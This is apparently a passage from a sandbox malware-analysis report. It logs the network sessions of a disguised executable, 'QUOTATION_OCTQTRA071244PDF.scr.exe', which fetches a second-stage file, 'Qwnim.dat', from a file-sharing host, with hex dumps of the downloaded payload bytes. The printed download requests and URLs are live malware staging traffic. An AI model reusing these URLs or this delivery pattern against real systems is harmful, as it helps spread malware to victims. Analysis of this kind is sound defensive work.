2024-10-04 09:22:53 UTC	1369	IN	Data Raw: 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 Data Ascii: !8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK
2024-10-04 09:22:53 UTC	1369	IN	Data Raw: dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:22:53 UTC	1369	IN	Data Raw: dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 Data Ascii: \!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:22:54 UTC	1369	IN	Data Raw: dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)
2024-10-04 09:22:54 UTC	1369	IN	Data Raw: 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d Data Ascii: v5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:22:54 UTC	1369	IN	Data Raw: 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb Data Ascii: BjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g
2024-10-04 09:22:54 UTC	1369	IN	Data Raw: 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 Data Ascii: #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQ
2024-10-04 09:22:54 UTC	1369	IN	Data Raw: 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 Data Ascii: Nc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:22:56 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:22:57 UTC	1104	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:22:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=85h5h2k9mi3g21vbf3t4lhhsj7; expires=Fri, 18-Oct-2024 09:22:56 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/TSnbub9PBiUP cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1qpZBY%2BLwMpw%2FNtb7QuQSQ2wSPbpzg4cF4%2BCj591lmu5jo2ODS9ISRtzrFJYNzOyNTFank%2F6iFIt19bi0m%2F8%2F9adDYVM0OcDKsAgfhNc0hDyRdJok83QTpmaGF8OMk8M%2FS0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c3e3f4418ea-EWR alt-svc: h3=":443"; ma=86400
2024-10-04 09:22:57 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 54 53 6e 62 75 62 39 50 42 69 55 50 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/TSnbub9PBiUP">Please click here to continue</a>.</p>
2024-10-04 09:22:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:22:57 UTC	74	OUT	GET /storage/download/TSnbub9PBiUP HTTP/1.1 Host: s23.filetransfer.io
2024-10-04 09:22:58 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:22:58 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=2b1474263bcda1f4d171b12e62160c61; expires=Fri, 18-Oct-2024 09:22:57 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FSN%2BRH1eDYrNuZ0TzCGOwJdJI7JnbrjP04iKedoK%2BAzBwiahbZ4Vzpo6xwOqSnsrPugfK9UDcqAvU76P%2FpWRiUwpRUJlljigBME1I2xPViuh5yW02v8p6ZyJRZJ2ypqozMsfMphX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41c4639ab0cb5-EWR
2024-10-04 09:22:58 UTC	349	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:22:58 UTC	1369	IN	Data Raw: 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e aa 6e Data Ascii: g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^n
2024-10-04 09:22:58 UTC	1369	IN	Data Raw: 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 60 15 Data Ascii: 8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK`
2024-10-04 09:22:58 UTC	1369	IN	Data Raw: 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 e7 5f d6 e2 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<_
2024-10-04 09:22:58 UTC	1369	IN	Data Raw: 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 a7 16 03 0d Data Ascii: !Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:22:58 UTC	1369	IN	Data Raw: 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 9a 29 50 e5 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O)P
2024-10-04 09:22:58 UTC	1369	IN	Data Raw: 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a 09 0d a1 a9 Data Ascii: 5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:22:58 UTC	1369	IN	Data Raw: bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 80 cb 30 3d Data Ascii: jWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g0=
2024-10-04 09:22:58 UTC	1369	IN	Data Raw: c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 cb 51 16 50 Data Ascii: 